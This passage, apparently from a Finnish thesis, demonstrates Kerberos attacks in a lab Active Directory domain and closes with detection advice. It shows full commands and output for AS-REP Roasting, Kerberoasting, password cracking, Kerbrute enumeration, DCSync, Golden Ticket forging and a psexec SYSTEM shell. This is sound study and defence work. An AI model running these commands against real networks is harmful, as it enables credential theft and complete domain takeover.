SMB/RPC-null bindilla. Tama ei ole nykyaan oletuskonfiguraatio, eika mydskaan
suositusten mukaista, joten suurimmalle osalle yrityksistad taman ei tulisi olla
uhka. Viimeiseksi vaihtoehdoksi hyokkaajalle jaa avointen lahteiden tiedustelun
perusteella muodostettu kayttajanimilistaus. Kayttajatunnusten luetteloiminen

kaydaan lapi tarkemmin kappaleessa 4.4.

:~$ cat users.txt
nikolai
makarov
sandman
price
ghost
ramirez

soap

gaz
roach
shepherd
foley

KUVIO 13. Hyokkayksessa kaytetty kayttajalista.

Varustettuna kayttgjatunnuslistauksella (kuvio 13), hyokkaaja aloitti AS-REP
Roast -hyokkayksen. Hyokkaaja lahetti yksi kerrallaan KDC:lle AS-REQ-pyynnon
jokaisen listalla olevan kayttajan puolesta. Tassa demonstraatiossa hyokkayk-
sessa kaytettiin listaa, jossa oli niin oikeellisia, kuin virheellisia kayttajatunnuksia.
AS-REP Roast -hyokkaykseen kaytettava skripti Impacket-kirjastossa on "GetN-
PUsers.py”.
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:~$ GetNPUsers.py flare.corp/ -usersfile users.txt -dc-ip 10.0.0.4
Impacket v0.12.8 - Copyright Fortra, LLC and its affiliated companies

-] Herberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in HKerberos database)

-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in HKerberos database)

-] User price doesn't have UF_DONT_REQUIRE_PREAUTH set

-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

-] User soap doesn't have UF_DONT_REQUIRE_PREAUTH set

-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

krb5asrep$23$roach@FLARE . CORP: 9c5c28Uca59d1dbl8605d063a6f60elf$82fe0d089dfodd9actbed61FL28e3F3b86e88FO0b51T70cba73fd8510
331f6cti71b53aTbcllB9687e6fc311d513e2df80Fe98fa560205cdfe9027b7616affodfel2c95F029U85efUB2613e022fBe3eeb5cd529bbb2ba27a 77l
0de22585cldcalbaa5760U9b3662cd6U22c17b072583F5139Fd51Uclifla31de+u98uUb8a99badl917UBae33912a6c9e8272d16d3U9a939e8F0U1c382]1e
U47c50122ef56fU2797Tde3eaallc719de75a9%+39a6+9a7U90d27bf TUef9393e7157aeblbB556b17+27859a35803Ud6fFc5bd6cfeclbef12ce5018c93uU
U43b91cd9b9e3UcBf71993a335e825f79265730+1U98e57bLU3

[-] Herberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Herberos database)

[-] Kerberos Sessianrrrr: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

~$

[
[
[
[
[
[
[
[
$

KUVIO 14. Hybkkaaja ajaa Impacketin GetNPUsers.py-skriptin.

GetNPUsers.py palautti ruudulle jokaisen epaonnistuneen kayttajan kohdalla tul-
leen virheen, ja onnistuessaan se palautti kayttajan istuntoavaimen krb5asrep-
muotoisen tiivisteen (kuvio 14). Tama luotiin AS-REP-vastauksen palauttaman
istuntoavaimen pohjalta, joka on salattu kayttajan salasanasta muodostetulla tii-
visteella. Tiivisteen alussa on tekstinpatka "$23%”, joka tarkoittaa sita, etta istun-
toavain salattiin RC4:11a (IANA 2024). RC4 on heikko salausmenetelma, ja koh-
tuullisen helppo murtaa nykyaikaisella tietokoneella. Nahdaan myds, etta vain

"roach” nimisella kayttajalla oli esiautentikointi poistettu kaytosta.

Seuraava vaihe hyokkaajalle oli taman kyseisen tiivisteen murtaminen brute-
force-hyokkayksella. Oikeassa tilanteessa hyokkaaja yrittaisi joko jokaista mah-
dollista salasanayhdistelmaa, tai kayttaisi esimerkiksi niin kutsuttua "sanakirja-
hyokkaysta” murtaakseen salasanan. Sanakirjahyokkays on brute-force-hyok-
kays, jossa hyokkaaja yrittaa arvata kayttajatunnuksen salasanan kokeilemalla
usein kaytettyja salasanoja (Hakatemia 2022). Kayttaen JtR:aa ja valmiiksi muo-
dostettua salasanalistaa, tiiviste, joka tallennettiin roach.hash” nimiseen tiedos-

toon, yritettiin murtaa (kuvio 15).

5 $ ./john -wordlist=../../password_list_long.txt roach.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RCU / PBHDF2 HMAC-SHA1l AES 512/512 AVX
512BW 16x])
Cost 1 (etype) is 23 for all loaded hashes
Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

(¢ srep$23$roach@FLARE. CORP)

(2025-03-25 11:22) 2.381g/s UT7866p/s UT7866c/s UTTB66C/s 180965. .spng3beb
Use the "——show" option to display all of the cracked passwords reliably

Session completed.

$ |

KUVIO 15. Tiivisteen murtaminen John the Ripperilla.
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Salasanan murrettuaan hyokkaaja paasi kirjautumaan tilille "roach”. Nain hyok-

kaaja sai itselleen ensimmaiset kayttajatunnukset sisaverkossa.

4.2 Kerberoasting

Kerberoasting-hyokkaykseen hyokkaaja tarvitsee toimialuetunnuksen seka joko
salasanan, NTLM-tiivisteen, tai ainakin kayttdjan voimassa olevan TGT:n
(Ozeren 2024). Hyokkayksen toteuttamiseen on olemassa monia eri tydkaluja,
kuten aiemmassa AS-REP Roastauksessa kaytetty Impacket, mutta tassa ta-

pauksessa kaytettiin Windowsille saatavilla olevaa tyokalua nimeltd Rubeus.

Hyokkays on yksinkertainen luonteeltaan, ja hyodyntaakin Kerberoksen normaa-
lia toimintaperiaatetta. Ensimmaiseksi hyokkaaja joko selvittaa halutun palvelu-
tunnuksen nimen itse, tai sitten hyokkaaja kayttaa jotakin tyokalua, joka tekee
haun kaikista oleellisista palvelutunnuksista hyokkagjan puolesta. Jalkimmainen
vaihtoehto on huomattavasti yleisempi, joten tata testitilannetta lahestyttiin sa-

mankaltaisesti.

Suorittaakseen hydkkayksen, hyokkaaja siirtdd Rubeuksen toimialueella olevalle
tietokoneelle. Vaihtoehtoisesti hyokkaaja voi myos kayttaa hyokkaykseen omaa
tietokonettaan, mutta tallakin tietokoneella tulee olla KDC:lle yhteys. Kun Rubeus
on saatu siirrettya tietokoneelle, hydkkaaja voi yhdella lyhyella komennolla suo-

rittaa Kerberoasting-hyokkayksen.

C:\Tools>Rubeus.exe kerberoast

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*

Use /ticket:X or /tgtdeleg to force RCU_HMAC for these accounts.

[%] Target Domain :_flare.corp
[#] Searching path 'LDAP://OP-DCEL.flare.corp/DC=flare,DC=corp' for '(&(samAccountType=8853086368)(servicePrincipalName=*)
(!samAccountName=krbtgt) (! (UserAccountControl:1.2.8408.113556.1.4.803:=2)))"

[*] Total kerberoastable users : 3

SamAccountName : svc_webBl

DistinguishedName : CN=svc_web01,0U=Services,OU=Flare, DC=flare ,DC=corp

ServicePrincipalName : HTTP/OP-WEB®1.flare.corp

PwdLastSet : 3/12/2025 9:32:U0 AM

Supported ETypes : RCU _HMAC, AES128 CTS HMAC SHAl 96, AES256 CTS HMAC SHAL 96

Hash : | $hrb5tgs$18$svc_webB1$Flare. corp$*HTTP/OP-WEBR1 . flare . corp@flare . corp*$FLUF67ADEL

KUVIO 16. Hyokkaaja ajaa Kerberoast-hyokkayksen.
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Kuviosta 16 voidaan nahda Rubeus-tyokalun logiikka Kerberoast-hyokkaykselle.
Ensinnakaan Rubeus ei pyytanyt kayttajatunnuksia, joten ohjelma sai ne tietoko-
neen muistista. Toiseksi Rubeus taydensi kayttajatunnuksen perusteella haetta-
van toimialueen. Ensimmaiset punaisella ympyroidyt rivit kertovat, miten Rubeus

haki palvelutunnukset. Tarkastellaan tama ehto kerrallaan:

- (samAccountType=805306368) — Tilion NORMAL_USER_ACCOUNT, el
tavallinen kayttajatunnus (Microsoft 2020b).

- (servicePrincipalName="*) — servicePrincipalName (SPN) on mita vain,
paitsi tyhja. Kaikilla palveluilla on SPN.

- (!samAccountName=krbtgt) — Tilin nimi ei ole krbtgt. Tama on Kerberok-
sen palvelutunnus.

- (Y(UserAccountControl:1.2.840.113556.1.4.803:=2)) — Tili ei ole inaktiivi-
nen tai poistettu kaytdsta (Microsoft 2025).

Toinen punaisella ympyroity kohta puolestaan onkin osa HTTP/OP-
WEBO1.flare.corp-palvelun salatun ST:n tiivisteestd. Tama tiiviste on paljon pi-
dempi, kuin mita kuviossa nakyy. Tiivisteen tallentamalla hydkkaaja voi AS-REP
Roast -hyokkayksen tavoin murtaa tiivisteen esimerkiksi JtR:l1a. Tiivisteen mur-
rettuaan, hyokkaaja voi toimia palveluna, ja luoda palveluun mielivaltaisia tiket-

teja.

Tassa demonstraatiossa hyokkaaja haki kaikkia toimialueen kayttajamuotoisia
palvelutunnuksia, ja pyysi naihin liitettyihin palveluihin ST:t4. On otettava huomi-
oon, etta hyokkaaja voisi yhta hyvin hakea vain yhden palvelutunnuksen tiivis-
teen, tai kohdentaa hyokkayksen tiettyyn OU:hun (Organizational Unit). Rubeuk-
sessa on naille sisaanrakennetut asetukset, joten tama ei sinallaan ole yhtaan

sen hankalampaa, kuin tdama yksinkertaisin muoto Kerberoasting-hyokkayksesta.

4.3 Kerberoasting ilman toimialuetunnusta

Kerberoasting ilman toimialuetunnusta hyoddyntaa Kerberoksen TGT-pyynnon

toimintalogiikkaa. Hyokkaaja ei siis tarvitse hyokkaykseen toimialuetunnusta,

kunhan toimialueella on yksi kayttaja, jolla ei ole esiautentikointia. Hyokkaaja



27

aloittaa hyokkayksen luetteloimalla toimialueen kayttajatunnukset, joilla ei ole esi-
autentikointia kaytettavana. Kayttajatunnusten luettelointi kdydaan lapi tarkem-

min kappaleessa 4.4.

Taman jalkeen hyokkaaja joutui luetteloimaan mahdolliset SPN-tunnukset. Hyok-
kaajalla ei ollut tahan selkeaa tapaa ilman toimialuetunnusta, mutta se hyddynsi
samankaltaisia keinoja, kuin AS-REP Roast -hyokkayksessa. Tassa tilanteessa
hyokkaajaa siis kiinnosti kayttajamuotoiset toimialuetunnukset, joille asetettiin
servicePrincipalName-attribuutti. Lopputuloksena hyokkaajalla oli mahdollisia

SPN-tunnuksia sisaltava lista (kuvio 17).

:~$ cat spns.txt

sugar_service
honey_service
des_service
rct_service
aesl28_service
aes256_service
svc_backupBl
svc_syncBl
svc_mail@l
svc_sqlel
svc_webB81

KUVIO 17. Kerberoast-hyokkayksessa kaytetty kayttajatunnuslistaus.

Kun hydkkaaja sai haltuunsa tarvittavat esitiedot, hyokkaaja ajoi Impacketin kir-
jastosta GetUserSPNs.py-skriptin (kuvio 18), mutta eri parametreilla, kuin nor-
maalissa Kerberoasting-hyokkayksessa. Normaalisti hyokkaaja joutuisi maaritte-
lemaan Kerberoasting-hyokkaykseen kaytettavan kayttajan seka jonkun DC:n IP-
osoitteen (KDC:n osoite). Taman jalkeen hyokkaaja syottaisi tunnuksen salasa-
nan. Tassa tilanteessa hyokkaaja kaytti parametreja "-no-pass -no-preauth
<kayttaja> -usersfile <spn_lista.txt>". Nama kaytanndssa tarkoittavat sita, etta
skripti ei pyyda salasanaa komennon syottamisen jalkeen, kaytettavalla kaytta-
jalla ei ole esiautentikointia, ja skriptille syotetdan SPN-tunnuksista lista. Para-
metri "no-preauth” maarittdaa myds, etta skripti l1ahettdd AS-REQ-pyynnon, eika

perinteiselle Kerberoasting-hydkkaykselle tyypillista TGS-REQ-pyyntda.
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:~$ GetUserSPNs.py —no-pass —no—preauth roach -usersfile spns.txt flare.corp/roach
Impacket v8.12.80 - Copyright Fortra, LLC and its affiliated companies

[-] Principal: sugar_service - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerber
os database)

$krb5tgs$23$*honey_service$FLARE. CORP$honey_service*$U320331b3Ua631df7Ulcbab55cU2b823%1ca9lsllbsade377cell2f8
9eP680705cd696ceb6586c5aleaab3ce6+9589caldTcl38ed95a2a%eelcbb7328bal2069U88d3a877U860615ba33135173Ub66aba3Te3
3Ua6fofle@T+leld3c915d32U30c2183a9%Uafaeb05c0936c1de7055538e3b5f17Ua209f1d3be87776e0cfB8UbalUl90ca5dd80bA28116b
9b50e@8+2b121730bf173b30deabf55bel8d9dablfdf21alll9ee27c6806e70d12UF6a195cBeTceccl2bla30lTde6decB83fbbl285dde
b5232c29U68eelUs7UR38%afe956aedB63bb32e3def17282UalT77b33e3cfbuU3d62912Ue2c68d71dalaPl6edeba907ddfdab1U55+6033
b66b7e26U1d13823F8d2+ap295U20U176+FFd175768+F7b8618d1U1PUEfe55299978¢cTa8+8159c63cBa276al0918ee96+5b63a7b378c2
Tc6deeaesufdOcae®6d07913c183af607398d3756F5dF590681a9F Tbbfbf230U2F2cF923F7d88278a96Fe91cc81129938c6+10bTEF6ED
531370F59b71792e93+595f38b2bbaaecbbacaf3b3cfe68Ulbebfaebil7e3196afb8e5191aebdbb998bf2c65+2952929Uabubb730bd3
29422332699658U9+d7c@36ad3d613e29fadfcb97bPetd20080aab27ad@5cA73eldf18619c02536efUBF3afl9eadlal2e273ad2be36c5
785d1d96a61d6d3ad52d9c738+30297faldb276093d0eBel2b6F5d51aa51fb92d9bal79U3dble3c691802525U9cfbUab66998TcTfe3U
6862eablic9ballabS5ala8fdb9a2cdl8ld9156bea2a3cf725397+9+7657a52570aa2llaTd6ec88a69515bal26d8cd 558888 7blidfllad2b
8e7b269afcfefIudebae72a3c2fUag96U877358Fd2908falu3dd19d0blbdsUef2Ub3+6990300263126bd6bobT70899Ub593FdOBFT2UBS
cllall5938096d6d3dued13b5de3aebb95betle2adbl659F936U763F230712d13e8e73a799af193d1700U2ad0U237U27UF2c111fbed96cc
ellldi2b3cfO8c6cF521fcadbec9d8Tadad6392290391e95fal000T78a821uU223ab3b91d61960U909T72UFT5dell7233eU8bdas055cLic226
1b337d3c7+9e77el+b92c96dU23al2acbblecb®97b658561b7beel8def23bara333d220963088U2uUdd98dTbcll7U8a3a07d2a295b85bd
a667Ud69d2cb08c2280U6601a9+b15292UF327e9cldTcea2193a51cefc@b66Ufcf3U219deld8aB82bf632e9e026d0ac9achl72111893L+U3L
clbfef725a0UedObacfB8aB1lU89bacb5d3873d8bUT1Ud671dUafabl386c7856e8d90b3e6dcBeSed8fb3Uabab885fe@fb37U329592b691
T0elfdea?580fUe60Tee7d29a8a75cfbbed@37U82a3ale67a5e2ecTd2faea25bdBAR90287+18925b251a18+f9687F0FdBa286U62c360
d989311726e6336d7febl1195b93F914921619918a670bef+5b33a99a93efeed87551cec23d82fdUecPec797951ebTefd133U6276500del3
32122f3clalbdb87c56eca28+168b7Ubf28306cdcldl8dUatub598263205dbeefboU8cb7e368a925763bc368028d771al87508+69Fe88
679eds

[-] Principal: des_service — Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos
database)
$krb5tgs$23$+rcl_service$FLARE.CORP$rcll_service*$250ae20dble998cel2Ub22b97a0F8db2$balPaall8778a6dabeTcTc6b56c

KUVIO 18. Hyokkaaja ajaa Impacketin GetUserSPNs.py-skriptin.

Skripti palauttaa ruudulle listalla olleiden oikeellisten palvelutunnusten tiivisteen.
Tuntemattomien tunnusten kohdalla skripti toteaa "KDC_ERR_S PRINCI-
PAL_UNKNOWN?”, joka on suoraan KDC:n antama vastaus. Tama kertoo, ettei
KDC tunne kyseista palvelua. Kuviossa 18 nahdaan kokonaan honey_service-
palvelun tiiviste RC4-muodossa sekd osa rc4_service-palvelun tiivisteesta.
Skripti on pyytanyt myos KDC:lta sugar_service- ja des_service-palvelun Service

Ticketteja, kuten sen kuuluisikin. Naita tosin KDC ei l6ytanyt.

Samalla tavalla kuin normaalissakin Kerberoast-hydokkayksessa, saadun tiivis-
teen voi murtaa esimerkiksi JtR:113, jolloin hydkkaaja voi toimia palveluna, ja luoda

kyseiseen palveluun mielivaltaisia tiketteja.

4.4 Kayttajatunnusten luetteloiminen Kerberoksella

Hyodkkaaja voi luetteloida kayttdjatunnuksia Kerberoksella hyvaksikayttaen
KDC:n vastauksia. Monet modernit palvelut iimoittavat hyokkaajalle "Kayttajatun-
nus tai salasana on vaara”, jotta kayttajatunnusten nimia ei voi selvittaa yritta-
malla kirjautumista mahdollisilla kayttajanimilla. Kerberos ei nain tee, vaan se

erittelee hyokkaajalle, jos tilia ei ole olemassa.
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Hyokkaajan ensimmainen tehtava oli hankkia kayttajalistaus, joita se kokeili Ker-
berosta vasten. Testiskenaariossa simuloitiin tilannetta, jossa hyokkaaja olisi
muodostanut listan avointen lahteiden tiedustelulla. Hyokkaaja haki tietoa Flare
Corporation -yrityksesta, ja huomasi heidan julkisista sahkdpostitunnuksistaan
yleisen teeman. Taman perusteella hyokkaaja muodosti kuvion 13 mukaisen lis-
tan. Listan muodostamisen jalkeen hyokkaaja suoritti kayttajatunnusten luette-

loinnin Kerbrute-ohjelmalla (kuvio 19).

:~$ ./kerbrute userenum -d flare.corp users.txt -v

- —d NS 2N
VAP A By By B S B B B B B B B B B |
V0 I N S A S A S N A N A N

Version: v1.0.3 (9dadéel) - ©3/27/25 - Ronnie Flathers @ropnop

2025/03/27 13:27:17 > Using KDC(s):
2025/83/27 13:27:17 >  op-dc@l.flare.corp:88

2025/03/27 13:27:17 > Done! Tested 11 usernames (3 valid) in 0.813 seconds
:~$ GetUserSPNs.py —no-preauth -usersfile spns.txt flare.corp/soap

KUVIO 19. Hyokkaaja ajaa Kerbrute-ohjelman.

Ohjelma palautti ruudulle parametrin "-v” vuoksi myds epaonnistuneet yritykset,
mutta normaalisti hyokkaajalla ei ole talle ylimaaraiselle tiedolle tarvetta. Hyok-
kaaja loysi listallaan toimialueelta kolme toimivaa tunnusta. Jos toimialue ja lista
olisi suurempi, hyokkaajalla olisi paremmat mahdollisuudet saada oikeelliset
kayttajatunnukset esimerkiksi password spraying -hyokkaykselld. Password
spraying -hyokkayksessa hyokkaaja yrittaa samaa salasanaa monelle eri kaytta-
jatunnukselle, yleensa valttaakseen tunnuksen lukittumisen. Koska lista ei ole
suuri, mahdollisuudet saada oikeelliset tunnukset arvaamalla eivat ole isot. Hyok-
kaaja kuitenkin hyotyy aina lisdinformaatiosta, kaytti se sitten tata informaatiota
sosiaalisiin hydkkayksiin, tai johonkin teknisempaan hyokkaykseen, kuten AS-
REP Roast -hyokkaykseen.
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4.5 Golden Ticket

Golden Ticket hyokkaykseen hyokkaaja tarvitsee paikalliset jarjestelmanvalvojan
oikeudet toimialueen jollakin DC:lla, Domain Admin -tunnukset, tai tunnuksen,
jolla on "Replicating Directory Changes All” ja "Replicating Directory Changes” -
oikeudet. Hyokkaaja haluaa nama oikeudet, jotta se voi ensin suorittaa DCSync-
hyokkayksen, jolla se saa haltuunsa toimialueen SID:n (Security Identifier) seka
krbtgt-tunnuksen NTLM- tai AES-tiivisteen. HyOkkaaja suoritti tdssa skenaariossa
taman osuuden Mimikatz-ohjelmalla Domain Admin -tunnuksen “price” oikeuksin
(kuvio 20).

1 be t domain
.corp’ will be the
g will be the user a
C ldap
C : G55 _MEGOTIATE (9)

: krbtgt

: krbtgt
: 30000868 ( USER_OBJIECT )
Control : 26 COUNTDISABLE NORMAL_ACCOUNT )

entials:
rong-NTOWF *

Default Iterations
Credenti

KUVIO 20. Hyokkaaja suorittaa DCSync-hyodkkayksen.

Mimikatz tulosti ruudulle paljon hyodyllista tietoa hyokkaajalle. Skriptin tulos-
teesta kay ilmi toimialueen SID, joka on krbtgt:n SID ilman loppuosaa ”-502”.
Hyodkkaaja sai myos talla DCSync-hyodkkayksella odotetusti krbtgt-tilin NTLM-,
seka AES-tiivisteen. Naiden tietojen avulla hyokkaaja paasi siirtymaan seuraa-

vaan vaiheeseen.
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Hydkkaaja suoritti Golden Ticketin luonnin Impacketin ticketer.py-skriptilla, joka
vaatii minimissaan krbtgt-tilin AES- tai NTLM-tiivisteen, toimialueen SID:n, toimi-
alueen, seka kayttgjan SID:n loppuosan, eli RID:n. Hyokkaaja tiesi jo tassa koh-
taa kaiken, paitsi kayttajatunnuksen RID:n. Taman hyokkaaja pystyi hakemaan
Impacketin lookupsid.py-skriptilla (kuvio 21). Taman skriptin kayttaminen vaatii

vain kayttajatunnuksen, ja joko sen salasanan, NTLM-tiivisteen, tai TGT:n.

:~$ lookupsid.py flare.corp/soap@l®.e.0.4
Impacket v0.12.8 - Copyright Fortra, LLC and its affiliated companies

Password:

[*] Brute forcing SIDs at 10.0.8.U

[*] StringBinding ncacn_np:18.0.8.u4[\pipe\lsarpc]

[*] Domain SID is: S-1-5-21-18U9901889-1557778UU6-1225216288
U98: FLARE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: FLARE\opdc®ladmin (SidTypeUser)

501: FLARE\Guest (SidTypeUser)

582: FLARE\krbtgt (SidTypeUser)

512: FLARE\Domain Admins (SidTypeGroup)

513: FLARE\Domain Users (SidTypeGroup)

514: FLARE\Domain Guests (SidTypeGroup)

515: FLARE\Domain Computers (SidTypeGroup)

516: FLARE\Domain Controllers (SidTypeGroup)

517: FLARE\Cert Publishers (SidTypeAlias)

518: FLARE\Schema Admins (SidTypeGroup)

519: FLARE\Enterprise Admins (SidTypeGroup)

520: FLARE\Group Policy Creator Owners (SidTypeGroup)

521: FLARE\Read-only Domain Controllers (SidTypeGroup)

522: FLARE\Cloneable Domain Controllers (SidTypeGroup)

525: FLARE\Protected Users (SidTypeGroup)

526: FLARE\Key Admins (SidTypeGroup)

527: FLARE\Enterprise Key Admins (SidTypeGroup)

553: FLARE\RAS and IAS Servers (SidTypeAlias)

571: FLARE\Allowed RODC Password Replication Group (SidTypeAlias)
572: FLARE\Denied RODC Password Replication Group (SidTypeAlias)
1008: FLARE\OP-DC®1$ (SidTypeUser)

1101: FLARE\DnsAdmins (SidTypeAlias)

1102: FLARE\DnsUpdateProxy (SidTypeGroup)

1601: FLARE\soap (SidTypelUser)

1682: FLARE\price (S5idTypelUser)

KUVIO 21. Hyokkaaja ajaa lookupsid.py-skriptin.

Skripti palautti kaikkien tunnettujen objektien RID:t oletuksena 4000:een asti.
Hydkkaajan kohde tassa tilanteessa oli kayttaja "soap”, jonka RID on toimialu-
eella 1601. Saatuaan kaikki tiedot, hyokkaaja loi Golden Ticketin kayttajalle
"soap” Domain Admin -oikeuksin (kuvio 22). Hyékkaajan olisi ollut mahdollista

tehda tiketti milla vain oikeuksilla, ja mille vain kayttajalle.
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:~§ ticketer.py -aesKey c3d6fbac77076al9cbf57733blaBe5U18+2f2231c8d@9bdc60ab@B52527c97d7 ~domain-sid
S-1-5-21-10499081889-1557778U446-1225216288 —domain flare.corp -groups 513,512 -user-id 1601 soap
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for flare.corp/soap
[*] PAC_LOGON_INFO

[*] PAC_CLIENT_INFO_TYPE

[*] EncTicketPart

[*] EncAsRepPart

[*] Signing/Encrypting final ticket

[*] PAC_SERVER_CHECKSUM

[*] PAC_PRIVSVR_CHECHSUM

[*] EncTicketPart

[*] EncASRepPart

[*] Saving ticket in soap.ccache

:~$ |

KUVIO 22. Hyokkaaja ajaa ticketer.py-skriptin luodakseen Golden Ticketin.

Komennossa parametrit maaritellaan seuraavanlaisesti:

- aesKey - krbtgt-tunnuksen AES-tiiviste
- domain-sid - toimialueen SID

- domain - toimialueen FQDN

- user-id - kayttajan RID

Komennon peraan tulee kayttajan nimi, jolle tiketti halutaan luoda, ja "groups” on
lista lisattavista ryhmistd RID-muodossa. Ensimmainen ryhma asetetaan kaytta-
jan oletusryhmaksi. Kuviossa 21 nakyvaa listaa referoidessa voi huomata lisatta-
vien ryhmien olevan Domain Users ja Domain Admins. Skripti nayttaisi myos tal-
lentaneen tiketin "soap.ccache” nimiseen tiedostoon. Seuraavaksi todettiin Gol-
den Ticketin toimivuus. Tassa tulee huomioida, ettd Domain Users ja Domain
Admins -ryhmien RID:t ovat aina samat toimialueesta riippumatta. Yllapitgjien itse
luomien ryhmien RID:t taas ovat toimialuekohtaisia, eika saman nimisella ryh-

malla todennéakoisesti ole samaa RID:ta toisella toimialueella.

:~$§ export KRBSCCNAME=/home/oppcBadmin/soap.ccache
:~$ psexec.py -k -no—pass —target-ip 10.0.0.4 -dc—ip 10.0.0.U flare.corp/soap@0P-DCOL.flare.corp
Impacket v0.12.8 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.0.8.4.....

[*] Found writable share ADMIN$

[*] Uploading file KYNbQJtn.exe

[*] Opening SVCManager on 18.0.0.4.

[#] Creating service pSmX on 10.8.8

[*] Starting service pSmX

[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.203u8.3207]

(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

KUVIO 23. Hyokkaaja ajaa psexec.py-skriptin ja saa toimialueelle taydet oikeu-
det.
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Hydkkaajan tavoitteena oli testata tiketin toimintaa, joten se ensimmaiseksi asetti
Linux-ymparistomuuttujan "KRBSCCNAME” arvoksi kohteen "’home/oppc02ad-
min/soap.ccache”. Tama kaytanndssa maarittaa Kerberoksen tunnusvarastoksi
kyseisen tiedoston. Termi CCache-avattuna on "Credential Cache” (MIT 2015).
Taman jalkeen hyokkaaja avasi yhteyden DC:lle Impacketin psexec.py-skriptilla
kayttaen kayttajan "soap” tekaistua TGT:ta. Nama toimet ovat kuvattuna kaytan-
néssa kuviossa 23. Tassa vaiheessa KDC sai TGS-REQ-pyynndn, ja lahetti kayt-
tajalle ST:n. ST:n saamisen jalkeen hydkkaaja esitti DC:lle ST:n, jonka sisalla
olevat tiedot kertoivat kayttdjan "soap” kuuluvan Domain Admins -ryhmaan.
Hyokkaajalle annettiin taysi paasy DC:lle, vaikka "soap” kuuluu vain Domain

Users -ryhmaan (kuvio 24).

Soap Properties ? =
Security Environment Sessions Remote control
Remate Desktop Services Profile COM+ Attribute Editor

General Address Account Profile Telephones Crganization
Published Cerfficates = Member Cf  Password Replication  Dialdin ~ Object

Member of:
Mame Active Directory Domain Services Folder
Domain Users flare comp/Users
Add... Remove
Primary group: Domain Users

KUVIO 24. Kayttajan "soap” ryhmat.

Mainitsemisen arvoista on viela se, ettd Impacketin ticketer.py luo oletuksena
Golden Ticketin, joka on voimassa 10 vuotta (kuvio 25). Vaikka kayttajan "soap”

salasana vaihdettaisiin, hyokkaajalla olisi paasy ymparistoon niin kauaksi aikaa,



34

kuin TGT:n voimassaolo on maaritelty. Tama johtuu siita, ettd KDC ei vaadi kayt-

tajan salasanaa AS-REQ-pyynnon jalkeen.

:~$ klist
Ticket cache: FILE:/home/oppc®2admin/soap.ccache
Default principal: soap@FLARE.CORP

Valid starting Expires Service principal
©3/28/25 11:53:58 ©3/26/35 11:53:58 krbtgt/FLARE.CORP@FLARE.CORP

renew until 83/26/35 11:53:58

KUVIO 25. Golden Ticketin voimassaoloaika.
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5 HYVAKSIKAYTON HAVAITSEMINEN

Tassa kappaleessa kaydaan lapi keinoja tyossa kasiteltyjen haavoittuvuuksien
hyvaksikayton havaitsemiseen. Kappaleessa viitataan osittain kappaleessa 4
kaytettyihin hyokkayksiin, jotta saadaan kokonaisvaltaisempi kuva kyseisten
hyokkaysten havainnoinnista vertaamalla saatua lokia hyokkayksen toteutuk-

seen.

5.1 AS-REP Roast

AS-REP Roast -hydkkayksen havaitseminen perustuu eri asioihin riippuen ym-
pariston konfiguraatioista. Tama kappale on jaettu kahteen eri alikappaleeseen,
jotta havainnointimenetelmat voidaan paremmin kohdistaa oikeankaltaiseen ym-

paristoon.

5.1.1 Kaikki kayttajatunnukset vaativat esiautentikoinnin

AS-REP Roast -hydkkayksen havaitseminen pohjautuu paaosin TGT-pyyntdjen
valvomiseen. Tama on useimmissa ymparistdissa helppoa, silla oletusarvoisesti
esiautentikointi vaaditaan jokaiselta kayttajalta. Jos ymparistdon kaikilta kayttajilta
vaaditaan esiautentikointi, voidaan valvoa vain epaonnistuneita TGT-pyyntgja.
Jos naita tulee samalta laitteelta monelle eri kayttajatunnukselle lyhyen ajan si-
saan, niin taman pitaisi olla epailyttavaa ja nostaa halytys. Tama on tyypillista
hyokkaajan kayttaytymista, ja muun muassa Rubeus seka Impacket jattavat jal-
keensa samanlaista lokia. Naissa tyypillinen virhekoodi on joko 0x6 tai 0x19. On
myOs mainitsemisen arvoista, ettd tdmankaltainen ymparisté on turvassa AS-
REP Roast -hyokkaykselta, saannostd on vain hyokkaajan olemassaolon to-
teamiseen. Kuviossa 26 nakyy ote Event Vieweristd AS-REP Roast -hyokkayk-
sen synnyttamasta lokista. Tama nakyy oletetusti, eli epaonnistuneina TGT-pyyn-

toina.
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L Audit Failure 3/27/2025 T:19:21 AM 4768
E |

ﬁ Audit Failure 3/27/2025 T:1%:21 AM 4768
ﬁ] Audit Failure 3/27/2025 T:19:21 AM 4768
% Audit Failure 3/27/2025 T:1%:21 AM 4768
i Audit Failure 3/27/2025 T:1%:21 AM 4768
% Audit Failure 3/27/2025 T:1%:21 AM 4768

KUVIO 26. AS-REP Roast -hyokkayksesta syntyneita tapahtumia.

Saantoa voidaan muokata ympariston mukaan, mutta jos epaonnistuneita tapah-
tumia tulee muutaman minuutin sisaan yli viidelle uniikille kayttajatunnukselle sa-
malta laitteelta, on kyseessa todennadkdisesti jotain tutkimisen arvoista. Naissa
tilanteissa yleensa auttaa tietamys verkossa olevista laitteista, kuten kelle kysei-
nen pyyntoja tekeva laite kuuluu. Saantéa voidaan myods muokata mainituilla vir-
